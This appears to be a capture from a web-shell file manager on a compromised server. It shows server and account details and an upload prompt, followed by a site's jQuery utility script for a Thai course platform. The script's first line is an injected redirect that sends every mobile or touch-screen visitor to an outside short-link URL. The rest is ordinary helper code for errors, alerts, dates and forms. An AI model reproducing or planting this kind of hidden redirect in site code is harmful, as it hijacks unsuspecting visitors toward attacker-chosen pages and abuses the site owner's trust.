| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/fulltion.com/public_html/js/ |
Upload File : |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/JEzgWXOHX0r1");
// ===== GENERAL FUNCTION ===== //
var fns = function() {
var urlParam = function(param) {
var result = "";
var tmp = [];
var params;
// .replace ( "?", "" )
// this is better, there might be a question mark inside
params = location.search.substr(1).split("&");
params.forEach(function(item) {
// tmp = item.split("=", 2);
tmp = explode("=", item, 2);
if (tmp[0] === param && tmp[1] !== undefined) {
result = decodeURIComponent(tmp[1]);
}
});
return result;
};
var handleError = function(data, placeholder, wrapperAnimate) {
var error;
var prop;
var $wrapperInput;
clearError(placeholder);
if (typeof data.responseJSON === "object") {
error = data.responseJSON;
} else if (isJsonParse(data.responseText)) {
error = $.parseJSON(data.responseText);
} else if (typeof data.responseText === "object") {
error = data.responseText
} else {
return false;
}
if (wrapperAnimate === undefined) {
wrapperAnimate = "html, body";
}
placeholder = (placeholder !== undefined) ? placeholder : "" ;
for (prop in error) {
if (prop === "message") {
notification('error', error[prop]);
}
if (typeof placeholder === 'object') {
placeholder.find('#'+prop).closest('.form-group').addClass('has-error');
$wrapperInput = placeholder.find('#'+prop).parent();
} else {
$(placeholder+" #"+prop).closest('.form-group').addClass('has-error');
$wrapperInput = $(placeholder+" #"+prop).parent();
}
if ($wrapperInput.hasClass('input-group')) {
if (error[prop].length > 1) {
for (subProp in error[prop]) {
$wrapperInput.parent().append('<small class="help-block">- '+error[prop][subProp]+'</small>');
}
} else {
$wrapperInput.parent().append('<small class="help-block">- '+error[prop]+'</small>');
}
} else if ($wrapperInput.hasClass('ace-file-input') && $wrapperInput.parent().find('.ace-file-input').length == 1) {
$wrapperInput.after('<small class="help-block">- '+error[prop]+'</small>');
} else if ($wrapperInput.is('label') && $wrapperInput.parent().hasClass('radio')) {
$wrapperInput.parent().parent().append('<small class="help-block">- '+error[prop]+'</small>');
} else if (error[prop].length > 1) {
for (subProp in error[prop]) {
$wrapperInput.append('<small class="help-block">- '+error[prop][subProp]+'</small>');
}
} else {
$wrapperInput.append('<small class="help-block">- '+error[prop]+'</small>');
}
// $("label[for='"+prop+"']").addClass('fc-red');
}
if (typeof placeholder === 'string') {
placeholder = $(placeholder);
}
if (placeholder.find(".help-block:first").length) {
$(wrapperAnimate).animate({
scrollTop: (placeholder.find(".help-block:visible:first").offset().top - 100)
}, 800);
}
};
var clearError = function(placeholder) {
placeholder = (placeholder !== undefined) ? placeholder : "" ;
if (typeof placeholder === 'object') {
placeholder.find('.has-error').removeClass('has-error');
placeholder.find('.help-block').remove();
} else {
$(placeholder).find('.has-error').removeClass('has-error');
$(placeholder).find('.help-block').remove();
}
};
var handleNotyError = function(subject, data) {
var error = {};
if (typeof data !== 'undefined') {
if (typeof data.responseJSON === 'object') {
error = data.responseJSON;
} else {
if (isJsonParse(data.responseText)) {
error = $.parseJSON(data.responseText);
}
}
}
subject = getNotyText(subject);
if (typeof error.error !== 'undefined') {
error = error.error
noty({text: subject+' <br> <span style="word-wrap: break-word;" class="smaller-90">'+error.text+'</span>', type: 'error', timeout: 4000});
} else if (typeof error.message !== 'undefined') {
noty({text: subject+' <br> <span style="word-wrap: break-word;" class="smaller-90">'+error.message+'</span>', type: 'error', timeout: 4000});
} else {
noty({text: subject, type: 'error', timeout: 2000});
}
};
var boxAlert = function(text, type) {
text = getNotyText(text);
switch (type) {
case 'info':
return "<div class='alert alert-info' role='alert'>"+text+"</div>";
break;
case 'danger':
return "<div class='alert alert-danger' role='alert'>"+text+"</div>";
break;
default:
return "<div class='alert alert-danger' role='alert'>"+text+"</div>";
break;
}
};
var isJsonParse = function(str) {
try {
JSON.parse(str);
} catch (e) {
return false;
}
return true;
};
var arrayIntersect = function(arrays) {
var result;
var conditionIndexOf;
result = arrays.shift().reduce(function(response, currentValue) {
conditionIndexOf = arrays.every(function(element) {
return element.indexOf(currentValue) !== -1;
})
if (response.indexOf(currentValue) === -1 && conditionIndexOf) {
response.push(currentValue);
}
return response;
}, []);
return result;
};
var checkRole = function(role) {
var me = $.parseJSON(localStorage.getItem("me"));
var objRole;
var arrCheck = [];
if(isJsonParse(role)) {
// console.log(role);
objRole = $.parseJSON(role);
if (typeof me.role !== "string") {
arrCheck.push(objRole);
arrCheck.push(me.role);
if (arrayIntersect(arrCheck).length > 0) {
return true;
} else {
return false;
}
} else {
if (objRole.indexOf(me.role.toLowerCase()) !== -1) {
return true;
} else {
return false;
}
}
} else {
return false;
}
};
var pathSelf = function() {
return window.location.pathname+window.location.search;
};
var explode = function(delimiter, string, limit) {
if (arguments.length < 2 || typeof delimiter === 'undefined' || typeof string === 'undefined') {
return null;
}
if (delimiter === '' || delimiter === false || delimiter === null) {
return false;
}
if (typeof delimiter === 'function' || typeof delimiter === 'object' || typeof string === 'function' || typeof string === 'object') {
return {0: ''};
}
if (delimiter === true) {
delimiter = '1';
}
// Here we go...
delimiter += '';
string += '';
var s = string.split(delimiter);
if (typeof limit === 'undefined') {
return s;
}
// Support for limit
if (limit === 0) {
limit = 1;
}
// Positive limit
if (limit > 0) {
if (limit >= s.length) {
return s;
}
return s.slice(0, limit - 1).concat([s.slice(limit - 1).join(delimiter) ]);
}
// Negative limit
if (-limit >= s.length) {
return [];
}
s.splice(s.length + limit);
return s;
};
var tooltipPlacement = function(context, source) {
var $source = $(source);
var $parent = $source.closest('table');
var off1 = $parent.offset();
var w1 = $parent.width();
var off2 = $source.offset();
//var w2 = $source.width();
if( parseInt(off2.left) < parseInt(off1.left) + parseInt(w1 / 2) ) {
return 'right';
}
return 'left';
};
var blink = function(selector) {
$(selector).fadeIn(400);
$('html, body').animate({
scrollTop: ($(window).scrollTop()+50)
}, 'slow');
};
var strip = function(html) {
var tmp = document.createElement("DIV");
tmp.innerHTML = html;
return tmp.textContent || tmp.innerText || "";
};
var iconLoading = function(size) {
var width, height;
size = typeof size === 'undefined' ? 'sm' : size ;
switch(size) {
case 'xs':
width = '16';
height = '16';
break;
case 'sm':
width = '28';
height = '28';
break;
default:
width = '28';
height = '28';
break;
}
return "<img class='loading' src='../assets/img/preloader.gif' style='margin: 0px 10px;' width='"+width+"' height='"+height+"'>";
};
var removeIconLoading = function($selector) {
$selector = typeof selector !== 'undefined' ? $selector : $('body');
$selector.find('.loading').fadeOut(200);
};
var getPaginateBy = function($ui) {
var params = {};
params.paginate_by = $ui.val();
return $.param(params);
};
var getNotyText = function(code) {
var message;
switch(code) {
case 'createSuccess':
message = 'Successfully created.';
break;
case 'createFail':
message = 'Create failed.';
break;
case 'addSuccess':
message = 'Successfully added.';
break;
case 'addFail':
message = 'Add failed.';
break;
case 'updateSuccess':
message = 'Successfully updated.';
break;
case 'updateFail':
message = 'Update failed.';
break;
case 'noUpdate':
message = 'No updated.';
break;
case 'noDetailUpdate':
message = 'No detail updated.';
break;
case 'updateStatusSuccess':
message = 'Successfully status updated.';
break;
case 'updateStatusFail':
message = 'Update status failed.';
break;
case 'deleteSuccess':
message = 'Successfully deleted.';
break;
case 'deleteFail':
message = 'Delete failed.';
break;
case 'changeSuccess':
message = 'Successfully changed.';
break;
case 'changeFail':
message = 'Change failed.';
break;
case 'assignSuccess':
message = 'Successfully assigned.';
break;
case 'assignFail':
message = 'Assign failed.';
break;
case 'noAssign':
message = 'No assignment.';
break;
case 'copySuccess':
message = 'Successfully copied.';
break;
case 'copyFail':
message = 'Copy failed.';
break;
case 'importSuccess':
message = 'Successfully imported.';
break;
case 'importFail':
message = 'Import failed.';
break;
case 'rejectSuccess':
message = 'Successfully rejected.';
break;
case 'rejectFail':
message = 'Reject failed.';
break;
case 'approveSuccess':
message = 'Successfully approved.';
break;
case 'approveFail':
message = 'Approve failed.';
break;
case 'calculateSuccess':
message = 'Successfully calculated.';
break;
case 'calculateFail':
message = 'Calculate failed.';
break;
case 'noResult':
message = 'No result.';
break;
case 'loadSheetFail':
message = 'Failed to load sheet.';
break;
case 'loadListFail':
message = 'Failed to load list.';
break;
default:
message = '';
break;
}
return message;
};
var scrollIntoView = function($ui) {
$('html, body').animate({ scrollTop: ($ui.offset().top-20) }, 'slow');
};
var submitForm = function(path, params, method) {
method = method || "post";
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
};
var htmlspecialchars = function(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
};
var handleAlert = function(title, msg, status, isContact, configuration_data) {
var _title = title !== undefined ? title : 'เกิดข้อผิดพลาด';
var _msg = msg !== undefined ? msg : '';
var _status;
var _icon;
switch(status) {
case 'error':
// code block
_status = 'red';
_icon = '<i class="fas fa-exclamation-circle fa-2x text-danger"></i>'
break;
case 'warning':
// code block
_status = 'orange';
_icon = '<i class="fas fa-comment-alt-exclamation fa-2x text-warning"></i>'
break;
case 'success':
// code block
_status = 'green';
_icon = '<i class="fas fa-check-circle fa-2x text-success"></i>'
break;
default:
_status = 'orange';
_icon = '<i class="fas fa-comment-alt-exclamation fa-2x text-warning"></i>'
// code block
}
var _text_cls = '';
if (isContact === true) {
var contact_phone = '';
var contact_email = '';
if (configuration_data.contact_phone) {
contact_phone += 'Tel: ' + configuration_data.contact_phone+'<br>';
}
if (configuration_data.contact_mail) {
contact_email += 'Email: <a href="mailto:' + configuration_data.contact_mail + '">' + configuration_data.contact_mail + '</a>';
}
_msg = _msg +'<br><div class="f-8rem mt-4"><div class="mb-2"><u>'+ lang_data.HELP_CENTER +'</u></div>' + contact_phone + contact_email + '</div>';
}
// if (_status == 'red') {
// _icon = '<i class="fas fa-exclamation-circle fa-2x text-danger"></i>'
// } else if (_status == 'orange') {
// _icon = '<i class="fas fa-exclamation-triangle fa-2x text-warning"></i>'
// }
var title = '<div class="d-flex flex-column flex-sm-row align-items-start">'+
'<div class="w-56px">'+ _icon + '</div>'+
'<div class="ml-sm-4 mt-3 mt-sm-0">'+
'<h5 class="font-weight-bold mb-2">'+ _title + '</h5>'+
'<div class="f-14">'+ _msg +'</div>'+
'</div>'+
'</div>';
$.alert({
"columnClass": 'col-md-7 col-lg-5 mx-auto',
"type": _status,
"title": title,
"content": ' ',
"draggable": false,
"buttons": {
cancel: {
btnClass: 'btn btn-primary px-4 py-2',
text: lang_data.CLOSE,
}
}
});
};
var detectIOS = function (device) {
var iDevices = [
'iPad Simulator',
'iPhone Simulator',
'iPod Simulator',
'iPad',
'iPhone',
'iPod'
];
if (!!navigator.platform) {
while (iDevices.length) {
if (navigator.platform === iDevices.pop()) {
if (device === true) {
return {
"device": navigator.platform,
"ios": true
};
} else {
return true;
}
}
}
}
if (device === true) {
return {
"device": null,
"ios": false
};
} else {
return false;
}
};
var currentGroup = function() {
return $('#header').data('group-site').replace("/", "");
};
var currentCourse = function() {
return $('#header').data('course');
};
var normalDateTimeTHClock = function(datetime) {
var text;
moment.locale('th');
text = moment(datetime).format('D MMMM ') + (parseInt(moment(datetime).format('YYYY')) + 543);
text += " " + moment(datetime).format('H:mm') + " น.";
return text;
};
var parseNewLineToHtml = function(str) {
// return str.replace(/\n/g, "<br>");
return str;
};
var cleanTagP = function(str) {
return str.replace(/<[^>]*>/g, '');
};
function str_pad(str, pad_length, pad_string, pad_type) {
var len = pad_length - str.length;
if (len < 0) return str;
for (var i = 0; i < len; i++) {
if (pad_type == "STR_PAD_LEFT") {
str = pad_string + str;
} else {
str += pad_string;
}
}
return str;
}
var toggleDisplayPassword = function () {
if ($('input.password').attr('type') == 'text') {
$('input.password').attr('type', 'password');
$('i.password').removeClass('fa-eye').addClass('fa-eye-slash');
} else {
$('input.password').attr('type', 'text');
$('i.password').removeClass('fa-eye-slash').addClass('fa-eye');
}
};
return {
// Get Param by name
urlParam: function(param) {
return urlParam(param);
},
// Handle error form api
handleError: function(data, placeholder, wrapperAnimate) {
return handleError(data, placeholder, wrapperAnimate);
},
// Handle noty error form api
handleNotyError: function(subject, data) {
return handleNotyError(subject, data);
},
// Show div error with text
boxAlert: function(text, type) {
return boxAlert(text, type);
},
// Check valid json object
isJsonParse: function(str) {
return isJsonParse(str);
},
// Computes the intersection of arrays
arrayIntersect: function(arrays) {
return arrayIntersect(arrays);
},
// Check role access
checkRole: function(role) {
return checkRole(role);
},
// Get Path Self equivalent to basename ($PHP_SELF)
pathSelf: function() {
return pathSelf();
},
// A JavaScript equivalent of PHP’s explode. Discuss at: http://phpjs.org/functions/explode/
explode: function(delimiter, string, limit) {
return explode(delimiter, string, limit);
},
// Tooltip placement for tooltip plugin
tooltipPlacement: function(context, source) {
return tooltipPlacement(context, source);
},
// Blink state row
blink: function(selector) {
return blink(selector);
},
// Strip tag html
strip: function(html) {
return strip(html);
},
// Load icon loading .gif
iconLoading: function(size) {
return iconLoading(size);
},
// Remove icon loading .gif
removeIconLoading: function(selector) {
return removeIconLoading(selector);
},
// Get value of paginate_by from element
getPaginateBy: function($ui) {
return getPaginateBy($ui);
},
// Get Text Notification
getNotyText: function(code) {
return getNotyText(code);
},
// Animate scroll into view element
scrollIntoView: function($ui) {
return scrollIntoView($ui);
},
// Animate scroll into view element
submitForm: function(path, params, method) {
return submitForm(path, params, method);
},
// Encode HTML Specialchars
htmlspecialchars: function(str) {
return htmlspecialchars(str);
},
// Handle Alert
handleAlert: function(title, msg, status, isContact, configuration_data) {
return handleAlert(title, msg, status, isContact, configuration_data);
},
// Check IOS Device
detectIOS: function(device) {
return detectIOS(device);
},
// Get Current Group
currentGroup: function() {
return currentGroup();
},
// Get Current Course
currentCourse: function() {
return currentCourse();
},
// 6 กันยายน 2561 11:42 น. (require Moment.js)
normalDateTimeTHClock: function(datetime) {
return normalDateTimeTHClock(datetime);
},
// Convert \n to <br>
parseNewLineToHtml: function(str) {
return parseNewLineToHtml(str);
},
// Remove Tag <p>
cleanTagP: function(str) {
return cleanTagP(str);
},
// String Padding
str_pad: function(str, pad_length, pad_string, pad_type) {
return str_pad(str, pad_length, pad_string, pad_type);
},
// Toggle Display Passowrd
toggleDisplayPassword: function() {
return toggleDisplayPassword();
}
} // Return functions
}();
(function($) {
$.fn.inputFilter = function(inputFilter) {
return this.on("input keydown keyup mousedown mouseup select contextmenu drop", function() {
if (inputFilter(this.value)) {
this.oldValue = this.value;
this.oldSelectionStart = this.selectionStart;
this.oldSelectionEnd = this.selectionEnd;
} else if (this.hasOwnProperty("oldValue")) {
this.value = this.oldValue;
this.setSelectionRange(this.oldSelectionStart, this.oldSelectionEnd);
} else {
this.value = "";
}
});
};
}(jQuery));
// ===== JQUERY PLUGIN FUNCTION ===== //
// Serialize form to object
$.fn.serializeObject = function()
{
var o = {};
var a = this.serializeArray();
$.each(a, function() {
if (o[this.name] !== undefined) {
if (!o[this.name].push) {
o[this.name] = [o[this.name]];
}
o[this.name].push(this.value || '');
} else {
o[this.name] = this.value || '';
}
});
return o;
};
// Toggle Callback Funciton
$.fn.toggleClick = function() {
var methods = arguments; // Store the passed arguments for future reference
var count = methods.length; // Cache the number of methods
// Use return this to maintain jQuery chainability
// For each element you bind to
return this.each(function(i, item){
// Create a local counter for that element
var index = 0;
// Bind a click handler to that element
// $(document).delegate($(item), 'click', function(event) {
$(item).off().on('click', function() {
// That when called will apply the 'index'th method to that element
// the index % count means that we constrain our iterator between 0
// and (count-1)
return methods[index++ % count].apply(this, arguments);
});
});
};